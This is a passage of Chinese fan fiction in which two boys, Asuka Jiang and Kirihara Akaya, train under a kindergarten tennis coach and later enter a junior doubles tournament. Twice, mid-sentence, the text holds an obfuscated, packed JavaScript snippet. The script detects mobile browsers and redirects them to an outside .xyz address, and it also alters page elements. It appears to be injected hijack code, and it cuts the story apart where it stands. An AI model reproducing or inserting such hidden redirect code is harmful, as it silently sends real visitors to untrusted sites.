飞鸟绛动作顿住。 飞鸟绘理:“阿绛也不要小瞧语言的力量啊,今天,阿绛有没有安慰过赤也,让他不要放在心上呢?” 飞鸟绛说:“没有。” 因为…… 安慰的话,好难说出口啊…… 和煦眼光洒在柏油路上,尽头驶过来一辆黄澄澄的卡通校车。门打开,清水老师活力满满地微笑—— “早上好!” “呃……” 切原赤也(别扭版)和飞鸟绛(难为情版)低着头,各自不看对方,“早上好,清水老师。” 清水老师疑惑。怎么了,这是吵架了吗? 如胶似漆的两个人,突然就背对背谁都不理谁了。但上车的时候一前一后,选座位也是左右相邻,又不像是闹了矛盾的样子。 飞鸟绛做了一整个早上的心理建设,推开门看到难得早早等在那里的切原赤也时,心理建设轰然崩塌。 要怎么说呢? 飞鸟绛不擅长任何需要展现出细腻情感的表达。 处在别扭时期的切原赤也,因为自己安静下来,也更容易察觉到身边人,也就是飞鸟绛的异常。 好像一觉醒来又变成之前那个生人勿近的冷脸阿绛了。 切原赤也心里有些慌。但是碰一碰飞鸟绛的袖角,对方也没有要躲开的意思,上车后也顺理成章地坐在了旁边。 黑发幼崽很有危机感的意识到:该不会是因为自己一直不说话,导致阿绛厌倦做朋友了吗? “赤也,你好一些了吗?” “阿绛,今天的天气很好诶!” 两个小崽各自鼓起勇气,声音重叠到一起,诧异地看向对方。 笼罩在二人之间的阴沉沉的乌云终于散去,窗外阳光隔着玻璃打出光圈,在幼崽脸上形成小小的灿烂的光晕。 今天的户外主要由大野老师盯着,清水老师把观察两小只的任务拜托给他。大野老师“好好好”地应着。 班级里的小幼崽们都异常兴奋,跃跃欲试,好像即将要噼里啪啦炸起来的一群小炮仗,气氛十分浮躁。 “今天就是那个日子吧!之前大野老师说的,可以真正打球的日子。” 有个小朋友背着手,老气横秋的模仿大野老师:“你们这群初学者,想真正打球还早着呢,老老实实地做挥拍训练吧!” 大野老师是做专业选手出身,只是比赛成绩一直没有什么突破,干脆退役后回老家,应聘了网球老师这一职务。 是真真正正想要培养一批好苗子的,因此对幼崽们的要求也比较严格——和笑眯眯的好脾气脸截然不同。 飞鸟绛和切原赤也手拉手跟着队伍走去了球场,大野老师在后面悄悄观察了十几秒,没发现任何问题。 清水老师想让他观察什么?这两只崽无论从哪个角度看,都和往常没有任何问题嘛! “握拍的手法之前已经交给过大家了,今天我们学习击球……”大野老师站在孩子们中间,讲解后,看向最外围的飞鸟绛:“飞鸟同学,可以请你拿一颗网球,从那个位置把球投过来吗?” 飞鸟绛看了一眼大野老师,捡了一颗网球,向后退了几步。 阳光有些晒,飞鸟绛戴了外出时才会待的小黄帽,从大野老师一米九的身高来看,就是一个小小的小甜豆。但在同龄人那里—— “好酷的脸色!” “飞鸟同学真不愧是飞鸟同学!” “好有气势,感觉飞鸟同学很像极道贵公子……” “什么?飞鸟同学竟然是□□吗?” 切原赤也满脑袋黑线:“……你们在说什么啊?” 极道势力,是说会和妈妈一起买一堆可爱衣服,把他和阿绛当作洋娃娃疯狂装扮的绘理阿姨吗? 议论声中,飞鸟绛举起网球,手臂蜷起撑在胸前,屈起一只小短腿,蓄力、上前一步——发球! 大野老师看到飞鸟绛的起手动作是诧异了一下。虽然圆圆钝钝的,但这的确是一个近乎于标准的棒球发球动作。 飞鸟同学学过棒球吗? 小幼崽的球速并不夸张,大野老师才有一些时间思考。最开始他还担心过,找幼崽帮忙发球,会不会因为小幼崽力度不够,导致网球半路就落在地上——甚至还做好了要跑过去救球的心理准备。 好在飞鸟同学虽然看起来小小一只,但网球的力道还是很足的,飞得足够远,也足够偏……这个准头,有点大问题啊。 大野老师横跨了几步才能碰到网球,挥拍时刻意放慢了速度,尽可能地想要幼崽们看清楚位置。 “击球点在球拍中间偏下的部位——呃?”大野老师发出短促的疑问。 这一球比他想象中的要更加重一点。虽说不至于让一个成年的曾网球选手狼狈地击球失误,但也远远超过一个小幼崽应该有的力度。 好在大野老师有一些力气和手段,将网球抽回筐子里,收了球拍,问道:“十分帅气的一球呢,飞鸟同学以前学过棒球吗?” 飞鸟绛:“一点点。” “喔——” “好酷的动作!” “就连大野老师也在夸赞诶!” 飞鸟绛:“……” 切原赤也握拳:“阿绛!你其实是个网球天才吧!刚才那一下超——级厉害的好吗!网球‘biu’地就得出去了!而且那么远!姿势也很帅气,哦哦还有,我有看到哦,大野老师有一瞬间露出为难的表情了!” 大野老师看了看飞鸟绛,也露出意味深长的眼神。 “相信大家已经观察当,刚才老师击球的时候,触碰到网球的是哪个部位呢?——对,是球拍的下半部分。再给大家演示一次,来,切原同学。” 同样位于最外圈,站在飞鸟绛旁边低着头说小话的切原赤也被点名,抖了一下才装作很乖的样子仰头笑。 大野老师无奈:“下面一球请切原同学来,站在刚才的位置,向老师的方向丢过来就可以!” 切原赤也干脆地应道:“好!” 小幼崽气势汹汹地拿了网球,瞄准大野老师——投球! 大野老师一边说着:“很有力度的眼神!切原同学的准头也相当不错啊!” 得到称赞,切原赤也像一只骄傲的小公鸡一样,回到飞鸟绛旁边,亮晶晶地看着飞鸟绛。 想到刚才切原赤也也夸了他,飞鸟绛嘴唇动了动,小声说:“赤也也很厉害。” 一节课下来,大野老师收获满满,小幼崽们也收获满满。 隔壁的足球场,一群幼崽你争我抢地跑来跑去,这边的网球场,小幼崽们两两一组,一个投球一个击球…… 大野老师:“真是活力满满啊,年轻的感觉……” 清水老师从室内出来,听到这句话笑道:“大野老师也很年轻啊!” 大野老师摇了摇头,老好人面容上露出几分不易察觉的惆怅:“我啊,我的运动生涯已经结束了。” 而他们的,才刚开始呢。 幼崽多的地方,是非多。 大野老师刚退场不久,足球场和网球场的边界就发生了小争执。 清水老师向大野老师露出一个我们真命苦的表情,过去调解。 切原赤也夸飞鸟绛是网球天才,但飞鸟绛并不这样认为。 他们一组搭档了许久,飞鸟绛认真说道:“我觉得赤也才是天才。” 切原赤也眼睛像绿宝石,又像星星,闻言期待又带着一些不好意思地望过来:“是嘛?!” 羞涩了一下,属于切原赤也的底色还是上来了,“还是差一点可恶,击球数目没有阿绛多,下次我一定会超过阿绛的!” 飞鸟绛并不认同:“可是赤也的准头很好啊,每次投的球都恰好在我附近。我给赤也的球反而都乱七八糟的。” 真是奇怪。 走在自己家门口都能迷路的人,难道是把所有的方向感都给了网球吗? 切原赤也张大嘴,“啊”了一声,然后不由自主地挺起了胸膛。 悄悄地嚣张一下,很可爱。 飞鸟绛想。 大野老师看了一会,发现不太对劲。 回球的困难程度比发球要低,所以他们是以回球开始练起。两人一组,一个崽用手投球,另一个在用球拍击球。 就像最初演示的那样,飞鸟绛和切原赤也投球,大野老师击球。 但是…… 几乎所有的崽,在投球的时候都用出了一个姿势,虽然看起来千奇百怪…… 切原赤也小声道:“阿绛,他们都在模仿你诶!” 大野老师眼前一黑,预感到有些不对劲。 果然,在学习到发球的时候,不好的预感降临了。 大野老师讲解了发球的要领,一个小崽把手举得高高的。 “又是你,花田同学,有什么问题吗?” 花田大声道:“大野老师,我们不想学这个,能不能让飞鸟少爷教我们之前那个——” 他弯曲腿,做了个投球的姿势,兴奋道:“那个姿势超级帅啊!” 措不及防被点名,飞鸟绛抬起头,看了一眼花田。 花田立即噤声,缩缩脖子悄悄藏在人群里。 一丝丝声音疑似传入飞鸟绛耳朵。 “坏了,飞鸟大少爷在看我,我该不会被警告吧!” “飞鸟同学只看的上小学生,不会把你放在眼里的,花田,你放心好了。” 飞鸟绛:“?” 他带着一点不确定,问切原赤也:“你有听到谁在讲话吗?” 切原赤也刚才呼哧呼哧跑了一圈,喘着气仔细听了听:“没有啊?阿绛听到什么了吗?” 飞鸟绛放下心来:“那就好。” 大野老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546742|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纠正大家:“飞鸟同学上周的投球方法,是棒球里面的,而我们要学习的是网球,当然也要换成网球的发球方式了!” 花田悄咪咪地举手:“那我们改成学棒球不行吗,大野老师。” 大野老师背着手:“那怎么办啊,老师只会教网球诶。” 花田用气声提醒大野老师:“飞鸟!飞鸟同学!” 飞鸟绛再次抬头一扫,花田立即缩头,假装自己是个与世无争的小鹌鹑蛋。 大野老师环视了一圈小幼崽,正色道:“好了,老师明白,大家只是想学看起来最酷最帅的姿势,其实网球也超级棒的——可以给网球一个机会,让老师来演示一下吗?” 自从被飞鸟绛夸过,网球在切原赤也这里就成为了天下第一的爱好。作为坚定不移的网球党,切原赤也第一个响应: “好!!” 大野老师拎了球拍,掂了掂网球,站在球场上。抬眼时仿佛变了一个人,气场像波纹一样荡了出去,令吵闹的崽们安静下来。 “好有气势。” “这还是大野老师吗?” 一米九的大野老师肩背挺直,但因为太过于老好人的性格和常日挂着的笑脸,显得人没有那么高,拿起网球拍,站在球场上,整个身形都变得伟岸。 有扎双麻花辫的小女生仰慕道:“我想打网球了。打网球就能长大野老师这么高吗?” “那我也要选网球!” 大野老师向天空抛球,腰随之向后仰去,像一张挺拔的蓄满了力的弓箭。网球与太阳一线时,阳光不再刺眼,视野里只有那颗黄橙橙的网球。 箭弦弹出,大野老师跃起、挥拍—— “啪——砰!” 无数个小幼崽们的目光随着网球一起,飞向远处的墙上。 墙面沉积的灰尘扑簌下落,网球掉到地上,弹起两次后咕噜噜滚到树底。 如果是最开始只有一两个人倒戈,演示过后,大家对网球的激情空前激烈。 大野老师松了一口气。 太好了,网球培养计划如果第一步就夭折,那大野老师真的会抱着碎花小枕头哭泣。 为了让幼崽们意识到网球是多么伟大的运动,大野老师吹嘘道:“我们网球,如果足够厉害,一颗球能打穿一面墙呢!” 切原赤也崇拜道:“哇!” 飞鸟绛有点不相信:“骗人的吧……” 网球那么小一颗,怎么可能有那么大的能量呢? 不可避免的,飞鸟绛对网球产生了一丝好奇。 大野老师的课程终于顺畅地进行下去了。 虽然在课后收到了园长毫不留情地通知—— “毁坏园内公共财产,大野老师,没课的时候要亲自把掉漆的墙面补回来!” 园里专门请画师来,画了一整面墙的卡通儿童动物。好好的斑纹长颈鹿,被一颗网球击中,莫名其妙消失了一段脖子。 这像话吗?! 大野老师唯唯诺诺:“好的,好的。” 清水老师帮他调颜料颜色,一边调一边笑得不能自已,“大野老师,为什么不打到树上呢?掉了几片叶子的话,园长应该不会要求你再挂上去的。” 大野老师窝窝囊囊:“真的不会吗?” 万一把树皮磨下来,被要求给树皮上漆,那岂不是更命苦了…… 对课上幻听到的那段话,飞鸟绛还是放心的太早了。 一天清晨,刚上校车,飞鸟绛久违地受到瞩目。 这是最初转学才有的待遇。 “大家怎么在看我们?”切原赤也摸不着头脑,转过身问飞鸟绛:“我的发型乱掉了吗?” 切原赤也对乱飞的卷发相当苦恼,小小年纪就精通了用水整理发型的技能。 飞鸟绛看了看:“没乱,很整齐。” 每一根乱翘的头发都在它最好的位置。 坐在惯常的位置上,飞鸟绛坐立难安。往常飞鸟绛与切原赤也身边是没有人的,就像开学初一样,他们是校车的最后一批崽,前面的崽都习惯坐在另一边。 这次,身后却坐了两三个人。 其中一个,是飞鸟绛唯一记得名字的人。 ——花田。 常常在大野老师课上提问的男生。 而且总是神出鬼没,每次飞鸟绛听到他的提问,抬头看过去时,总是找不到他的身影。 但飞鸟绛不是因为身后有人才坐立难安。 而是身后的炙热的,如有实质的目光…… 比起特别擅长这方面的切原赤也,也差不了多少啊! 终于—— 身后幼崽戳了戳飞鸟绛。 飞鸟绛转过身去,冷着脸,不自然地问道:“怎么了?” 戳了飞鸟绛的花苞头小女生被视线扫到,差点就要摇头退缩说“没什么”了,花田鼓起勇气站了出来,“小衫同学,她,她有事想拜托飞鸟大少爷!” 飞鸟绛:“?” 大少爷? 谁? “飞鸟同学,我,我是小衫友子……”花苞头女声握了拳头,深呼了一口气,说道: “你家是不是有极道势力,可以……可以用你家的势力,帮我解决一个人吗?” 飞鸟绛不由得:“啊?” 11. 一米四的身高里四米一的反骨 飞鸟绛天都塌了。 他在怎么不知道他家里有极道势力? 带着一点求救的目光向切原赤也看去,结果黑发幼崽也向他露出狐疑的眼神—— 就连你也……?? 切原赤也:“说起来,确实都没有看见过阿绛的爸爸出现过……所以其实阿绛的爸爸是黑手党吗?” 飞鸟绛含着希冀的目光破碎掉。 小衫友子眼眶里含着泪水,祈求道:“拜托了,飞鸟同学,我也是实在没办法了才来求助……拜托你帮帮我吧!” 飞鸟绛:“……我家没有极道势力可以帮你。” 小衫友子一眨眼睛,眼泪簌簌地流下来,看着十分可怜。 飞鸟绛只好说:“你说说是什么事吧,或许我可以帮到你。” 切原赤也也拍拍胸脯,“小衫,你说吧,我和阿绛都会帮你的!” 小衫友子用袖子擦擦眼泪,将自己遇到的麻烦说了出来。 小衫友子性格活泼,擅长交朋友,经常在家附近的公园里和朋友们装扮娃娃过家家——直到一群踢足球的小学生来了这里。 “你们这群小屁孩,太碍事了吧!” “带着你们的破娃娃回家去好吗?不要在这里妨碍我们踢球!” 小衫友子生气地拒绝了他们。 “这是大家的公园,不只是你们的!我们想在哪里就在哪里!” 小学生们生气地推搡起来。 小衫友子低着头:“然后,布娃娃的衣服全都被他们踩脏了,小爱的胳膊还被拽断了……” 说到小爱,小衫友子又抽泣了一声。 切原赤也已经怒不可遏,一拳锤到椅背上:“太过分了!必须想办法惩治他们!” 飞鸟绛点头:“太坏了!” 小衫友子抬头,小心翼翼地问:“飞鸟同学,你、你们会帮我的对吧?” “飞鸟少爷二话不说地就帮忙了!”花田站在众崽之中,表情浮夸,五官乱飞,还用动作演示着:“当时我们找过去,飞鸟同学微微昂头,问了友子一句——” “就是他吗?” “——然后伸出手握住那个人的胳膊,‘bui’的就从一边甩到了另一边的沙坑!那个家伙直到狼狈地离开,都还在呸呸吐沙子呢哈哈哈哈!友子,你说是不是!” 花苞头的小衫友子脸上洋溢着笑容,点头说:“是的,飞鸟同学很厉害!其实是个很热心的好同学呢!” 花田洋洋自得:“这下就不用担心他们再来找你麻烦了!” 飞鸟绛百思不得其解。 不知道为什么,最近他来上学,每天早上都能在桌子上发现不同的零食。 蜂蜜小熊饼干,草莓果粒牛奶,海苔碎咸蛋黄薯片,菠萝味果冻吸吸乐…… 除了零食,还有手写的拜帖,什么“飞鸟同学你可以做我的老大吗我已经仰慕你很久了”……这种。 什么怪东西啊! 飞鸟绛留下了草莓牛奶,把其他东西,尤其是那封拜帖,通通推给了切原赤也:“赤也,拜托你帮我解决掉。” 切原赤也撕开包装袋,揉着肚皮:“好撑、为什么今天也这么多!” 切原大人已经要变成切、原、大、人了! 吃到中途,他注意到零食中的一封手写信。 “O敬的……飞鸟少爷……可以O托你成为我的老大吗?”切原赤也慢慢念出来,思索:阿绛拜托他来帮忙处理的话…… “堀江是吧?”切原赤也抬眼看向面前的雀斑脸小男孩,得到对方紧张地点头后,微微昂头:“可以,你过关了。” 堀江一瞬间激动地面色涨红,握着拳打气道:“太好了,我终于成为了飞鸟集团的一员!” 并且回去就扩散—— 飞鸟老大将飞鸟集团人员扩充这一事宜全权委托给了切原赤也!而切原赤也比飞鸟老大好说话多了! 被拒绝的同学蜂拥而至! 飞鸟绛知道这回事的时候,飞鸟集团已经扩充到了三十五人! 他不可置信道:“什么?!” 除了小网球班的二十个小朋友以外,还扩散到了足球班和篮球班!甚至还有其他幼稚园的小朋友慕名而来。 小衫友子不好意思道:“那两个人是我的好朋友啦……” 切原赤也:“不是你叫我帮忙管理的吗?” 飞鸟绛:“我是叫你帮忙处理……不是管理啊!” 切原赤也:“不要露出这幅丧气的样子啊,阿绛!我们的目标可是三十五亿!” 飞鸟绛不愿面对:“在那之前我们会先被撑死的。” 上供的零食小山一样堆满了桌子。 飞鸟绛只需微微一动,山顶就随机崩塌,掉落一个零食泥石流。这次掉落的是一包草莓味奥利奥饼干。 飞鸟绛自暴自弃地丢到切原赤也怀里:“先吃这个好了。” 清水老师起初还以为切原赤也和飞鸟绛两个人在搞霸凌,胁迫别的小朋友上交保护费,结果在一堆零食中看到折纸小星星和玫瑰花。 分明是在表达喜爱。 清水老师改变了观感,但还是找了许多小朋友问了问—— “飞鸟同学超级棒的!虽然人冷冷的,但是相当热心!” “没有欺负!飞鸟少爷明明是在保护我们!” “飞鸟 sama 超级酷的,喜欢!!” 清水老师惊讶又感慨:“啊……” 飞鸟同学还真是受欢迎。 为了避免被撑死,切原赤也更改了规定:“只有干部及以上的才有资格投喂零食!” 干部花田将这一规则贯彻下去后,飞鸟绛总算能从小山一样的零食中逃离出去。 还以为这场闹剧终于要结束了。 最初过了一把黑手党的瘾,切原赤也后来逐渐将事情转交给花田幸太郎和小衫友子,也不再关注后续的发展。 在二人不知道的地方,飞鸟集团依旧在扩大规模。但比起这个,他们将更多的精力放在了别的地方。 大野老师初心不改,但不可能按照网球选手培养整个班级的同学。 在意识到一些人的进度远远超过了班级教学进度后,大野老师私下拜访了过来。 飞鸟绘理:“您是说,往更加专业的网球道路去发展吗?” 大野老师恳切地分析:“您一定知道,飞鸟同学在力量方面有着过于常人的优势,力量方面也十分出众。他有朝着这方面发展的潜力。” 飞鸟绘理沉默了一下:“我当然是愿意让阿绛走这条道路,但最终还是要听阿绛本人的意愿——” 飞鸟绛乖乖坐在沙发一旁,腿虽然够不到地面,但也没有乱晃,正经得像个小大人:“赤也也去吗?” 大野老师松了一口气:“切原同学的话,已经同意了。” 飞鸟绛:“噢,那好吧。” 既然赤也也在那里,那飞鸟绛不介意也跟过去。 飞鸟绘理笑道:“你们还真是离不开彼此。” 飞鸟绛:“我们是好朋友。” 大野老师担任教练,训练场地是大野老师的朋友开的网球俱乐部。 据说俱乐部本来都快要倒闭了,但是突然获得了一个有钱大集团的慈善投资,装修了一遍,又欣欣向荣起来。 幼稚园的网球课已经从基础训练过渡到各种网球趣味游戏上,但飞鸟绛和切原赤也选择了更上一阶梯的练习后,反而又回到了基础训练。 仿佛没有止境的基础训练。 大野老师担心这种枯燥的训练会不会让小幼崽无法适应,哭着闹着想要回家。 ——毕竟两个家庭的家长都很注重孩子们的体验,当初来到这里,也都是孩子们点头才跟着同意的。 结果没有。 尤其是切原赤也,更出乎大野老师的预料。 平时是咋咋呼呼没什么耐性的小孩,在网球的方面展现出惊人的毅力。又或许说,切原赤也本身就是极具有毅力的性格,且在网球方面体现的淋漓尽致。 不需要大人监督,也能完成所有枯燥乏味的基础训练的两个学生。 大野老师眼底有些泛起泪花…… 已经十岁的幼崽身高涨的很快,最初小小的球拍也跟着换成了更大一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546743|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些的定制球拍。 切原赤也放下球拍,坐在休息凳上,远远就看见大野老师眼眶里的泪花,嫌弃地说:“阿绛,大野老师比你还爱哭诶。” 飞鸟绛不会为这种言语上的小争执生气,掌心张开,捏住切原赤也的嘴唇,恐吓道:“如果再说相同的话,我会让赤也好看!” 切原赤也忙不迭地点头。 下次还敢。 反正,六年过去了,飞鸟绛也没有真的让他好看。 “明天的比赛,用新练的阵型吧!” 切原赤也祈求道:“拜托拜托——” 飞鸟绛:“你已经问过大野老师了,大野老师不同意。我不会帮你背锅的!” 切原赤也失意体前屈,缓缓地,翻了个跟头,躺在地上,一副你不答应我就不起来的样子。 飞鸟绛踢他的小腿:“有人来了,你这个蠢样子要被别人看见了。” 切原赤也动了一下,又瘫在那里:“骗人。” 不对。 飞鸟绛从不撒谎。 一摊小猫登地下跳起来,左右看看,果然看到大野老师擦了眼泪匆匆和来人寒暄。 笔挺商务西装。 不认识。 但还是要保持形象。 切原赤也:“阿绛,你最后那组训练做完了吗?我们打一局吧!” 飞鸟绛简短应了一句:“来!” 对面粉头发的少年抛起一颗网球,粉金色的眼眸认真地注视着。 ——就是现在! “砰!” 被球拍击中,网球发射,像一颗极速炮弹一样砸下来。 切原赤也被网球席卷来的风吹开了刘海,根本没有去接球的意思,站在原地指责:“阿绛!” 飞鸟绛打完球就微微石化在原地,被点到名后,只好:“知道了知道了!” 然而这一球已经被大野老师看到。 含辛茹苦把两个孩子从四岁拉扯到十岁,大野老师肉眼可见地慈祥了一圈,跑过来唠叨:“阿绛!不是说好了要控制力道吗?以你现在的身体条件并不能掌控这么大的力量……” “……所以,为了以后的发展,必须!必须!要克制!!” 切原赤也捂住耳朵,缓缓背过身去。 飞鸟绛被一通话洗礼了一遍,脸色不变,一脸镇定。只有切原赤也看得出来,人站在那里还好好的,小猫的灵魂已经出窍到头顶,眼冒金圈了。 大野老师苦口婆心:“阿绛,我说的话,你记住了吗?” 飞鸟绛:“……” 大野老师:“阿绛?” 切原赤也游魂一样飘过去,戳了一下飞鸟绛,又飘走。 飞鸟绛回神,才发现大野老师殷切地注视着他,在等待他的回答。他:“好的老师,我以后会注意的。” 大野老师出其不意:“注意什么呢?” 飞鸟绛:“……” 大野老师微笑:“那我再讲一遍好了。” 经过长时间的相处,大野老师已经发现了这对幼驯染的本质。 飞鸟绛看着乖巧,实际上一米四的身高里四米一的反骨。 相反,表里如一的切原赤也就好上许多。 。 大野老师锤了自己一拳。 不要被自己 CPU 了啊!!可恶!!! “今天不要自己加练,一定要保证休息,把基础练习完成了以后就回家吧。”大野老师:“明天我会过去开车接你们去比赛场地的。阿绛,记得叫赤也起床。” 飞鸟绛:“好……” 切原赤也支棱起来:“大野老师在小瞧谁啊!我可从来不会睡懒觉!” 飞鸟绛嗤笑一声。 切原赤也转头盯—— 飞鸟绛:“如果多看我几眼能让你明天早起十分钟的话,那就看吧。” 切原赤也泪洒网球场:“以前沉默寡言的可爱阿绛去哪里了呢?还给我可爱阿绛啊!” 飞鸟绛捏住他的嘴巴:“闭嘴啊,再说要你好看!” 切原赤也不屈地从喉咙中发出一声: “呜~” 12.迎接飞鸟的洗礼 第二天,切原赤也果然没有早起。 飞鸟绛冷着脸进了二楼切原赤也的房间,抓住大床中央睡得安详的蚕蛹。 挥—— 被子飞到一边,露出切原赤也的真面目。 飞鸟绛自言自语道:“真是惨不忍睹的睡相。答应我,赤也,以后一定不要参与任何需要集体住在一起的活动好吗?” 切原赤也伸手捞被子,没捞到,在睡梦中咂了咂嘴,又睡熟过去。凹陷的枕头上,睡得酡红的脸蛋肉堆起来,十分幸福,下一秒就被一双毫不留情地手捏住鼻子。 切原赤也从善如流地张开嘴,小鱼一样开始呼气、吸气。 等的就是这一刻。 飞鸟绛从背后拿出冰棒,塞进乖巧等待的嘴巴中—— “啊啊啊好冰!”切原赤也蹦起来。 “起床。” 飞鸟绛留下一句话,下楼去了。 切原赤也将冰棒拿出来,最后留恋地看了一眼被子,顶着乱糟糟的头发呆呆坐在床边,一副生无可恋的样子。 真可怕。 有些人眼神生无可恋了,嘴巴还在津津有味地舔冰棒。 西瓜味的。 好吃。 解决完冰棒,黑发少年恢复活力,伸着懒腰去洗漱,等下楼时,飞鸟绛已经吃完了早餐。 切原赤也:“今天是什么?” 飞鸟绛:“剩饭。” 昨天剩的半袋切片面包,叮了一下拿出来,又是一份崭新的早餐。 切原赤也拉开椅子瘫在桌子上,像没有骨头的小猫:“好想吃烤肉。” 飞鸟绛:“比赛完去吃。” 切原赤也眼神亮了一下,看到面包,又黯淡下去,小口啃着,味同嚼蜡。 “你是一片生菜,你也是一片生菜,你呢,你是烤肉烤鱼烤马铃薯,你非常好吃,你非常美味!” 飞鸟绛把手中漫画书放下,无语地看向切原赤也,对方正念念有词地将三片面包叠在一起,并张开深渊巨口,一口气全部吞下去。 飞鸟绛:“……” 有时候真怀疑切原赤也是不是做过什么口腔扩容手术。 上次路过大胃王比赛,切原赤也看到拉面走不动腿,一定要去报名,飞鸟绛眼睁睁看着他三口一碗面…… 嘶。 嚼吧嚼吧,囫囵吞枣地咽下去,切原赤也面露难色:“好吧,你们不是生菜,这也不是烤肉。妈妈出去旅游到底什么时候回来啊!我不要吃面包了!!” 飞鸟绘理并切原绘理相约去冲绳度假,至今没有回来。爸爸切原贤平只会蛋炒饭……姐姐切原友香在妈妈度假后,立即决定也要和男朋友出去玩…… 切原赤也苦着脸吐槽:“昨天做梦还梦见鸡妈妈过来追杀我……爸爸仿佛要把全世界的鸡蛋都炒掉!” 为了不吃蛋炒饭,切原赤也只能和飞鸟绛相依为命。 “嘟嘟——” 窗外响起小汽车的喇叭声。 飞鸟绛看看钟表,站起来:“应该是大野老师。” 二人拿起早就准备好的大大的网球包,推开门,隔着庭院看见了栅栏门外的那辆车。 切原赤也不确定道:“这是大野老师的车吗?” 银白色的车在阳光下闪烁着金钱的光泽,车身流畅得仿佛不该出现在这条平凡朴素的街道中。 肯定不是。 大野老师最擅长的事情之一就是贫穷。 飞鸟绛:“……再等等吧。” 两个人放下球包就要关门。 车窗将下来,大野老师伸出头,“嘟嘟”按了两下喇叭:“快上车!” 切原赤也和飞鸟绛互相看了一眼。 “OoO!” “OoO!” 大野老师!背着他们发迹了?! 是坚持不懈在每个月的第二个星期三的早上九点五十八分在同一家店找那位年龄在 40 岁以上的大叔店员买一张价值300円的即开刮刮乐彩票终于中大奖了吗? 大野老师?!! 小心翼翼地坐上车,驾驶座上的大野老师拍了拍方向盘,炫耀说:“怎么样,向俱乐部借来的我们参加比赛的保姆车!” 飞鸟绛:“……” 切原赤也:“哇——” 大野老师唏嘘道:“那个慈善集团可真是好心啊。” 比赛场地在神奈川井正网球公园。公园面积并不大,但是新建的场地,场地很新。 大野老师说:“这几年网球行业真的还在蓬勃发展啊!” 他没有赶上好时候。 公园内其实并没有很多人。 因为只是关东地区内的12 岁及以下青少年组的双打比赛,参赛选手年龄小,而且是双打,必然不会得到很多认可。 因为位置很近,反而没有紧张地很早出发,到达的时候,登记处已经排起一支队伍。 切原赤也想到等会的比赛,泛起的困倦又被逼退,低头凑近飞鸟绛,神采奕奕:“阿绛阿绛,之前我们说过的那个新阵型……” 飞鸟绛推他的额头,推到一臂开外:“不要!你是什么得了小红花就要拼命炫耀的幼稚园小孩吗?!” 切原赤也:“可恶……” 飞鸟绛:“那个还没到成熟的地步。而且,这里也没有什么值得警惕的对手吧。” 切原赤也被笼罩在一团黑气之中,垂头丧气:“好吧。” 安抚好切原赤也,飞鸟绛抬头,正巧与前面的参赛选手对上视线,是个刺猬头选手,身高抽条,飞鸟绛仅仅有他肩膀那么高,戴着厚厚的方框眼镜,看起来就很有学识。 刺猬头选手冲着他友好的微笑点头。 好高的人。 飞鸟绛偏过头去。 好高傲的人。 乾贞治握住手中笔记,有些激动——和他收集的资料相同!他毫不犹豫地开口:“飞鸟绛、和切原赤也。” 切原赤也和飞鸟绛一同抬头望过去。 切原赤也表情诧异:“你为什么会知道我们的名字。” 乾贞治脸上带着十分不明显的诡异笑容:“飞鸟绛,目前就读于神奈川第二小学校,身高139厘米,体重未知,据说背景深厚,家里是极道……” “贞治。”在乾贞治的旁边,还有一位褐发妹妹头的男生,只比乾贞治矮一点,出声叫停了乾贞治的播报。 “快到我们了。”柳莲二打量着飞鸟绛的面色,岔开话题:“先登记吧。” 再不停下,那位粉头发的小选手看起来就要爆炸了。从说到身高开始,他的面色就阴沉下去了。 贞治,读资料的时候好歹也抬头看一眼别人的脸色啊。 切原赤也凑过来:“他是谁啊,为什么会知道你的身高?这不是只有我们才知道的秘密吗?” 飞鸟绛:“……” 切原赤也思索:“是我们会遇到的对手吗,竟然提前找了我们的资料吗?看来赤也大人的实力已经传遍关东地区了!” 飞鸟绛声音冷冷的:“会是我们的对手。” 就算比赛场上没遇到,结束比赛后,他也会找上门去,让这个刺猬头的没礼貌的家伙,趴在地上,仰头看他! 登记过后,柳莲二和乾贞治并肩离开,去寻找第一场比赛的球场。走远前,柳莲二回头看了一眼。 后面那对年纪很小的组合,黑头发的一脸天真嚣张的那个正咬着笔,伏在桌子上填表。粉头发的乖巧学生,正注视着他们离开的方向。 乾贞治注意到柳莲二停下脚步,疑惑道:“莲二?” 柳莲二摇摇头,抬起脚步:“惹到了记仇的家伙了呢,贞治。” 那个眼神,绝对不会是长相那样的乖巧。 只是,年龄真的没有谎报吗?看上去真的很显小。 十二岁龄以下的青少年组双打比赛,没有很严格的报名要求。有些对手甚至连握拍方式都是错的! 相比较之下,对面这对毫无默契的临时搭档都显得靠谱许多。 不过。 切原赤也最后打出一记杀球:“回家吧!希望下次不会再遇见了。” 网球砸到场地上,“砰”得一声,宣告比赛终结。 裁判面无表情地举起旗子:“飞鸟、切原组合获胜!” “哇——妈妈,我不要打网球了呜呜呜啊啊啊啊——” 切原赤也冲着对面做鬼脸:“爱哭鬼。” 飞鸟绛:“……” 幼稚鬼和爱哭鬼相比,也没有好到哪里去啊! 粉发少年拽着切原赤也的后衣领,往外走:“去下一场。” 切原赤也被拽着倒退,抬眼时看到两个身影,连忙说:“阿绛,你看,是那两人,他们也结束比赛了!” 是刺猬头和妹妹头组合。 也是他们下一场决赛的对手。 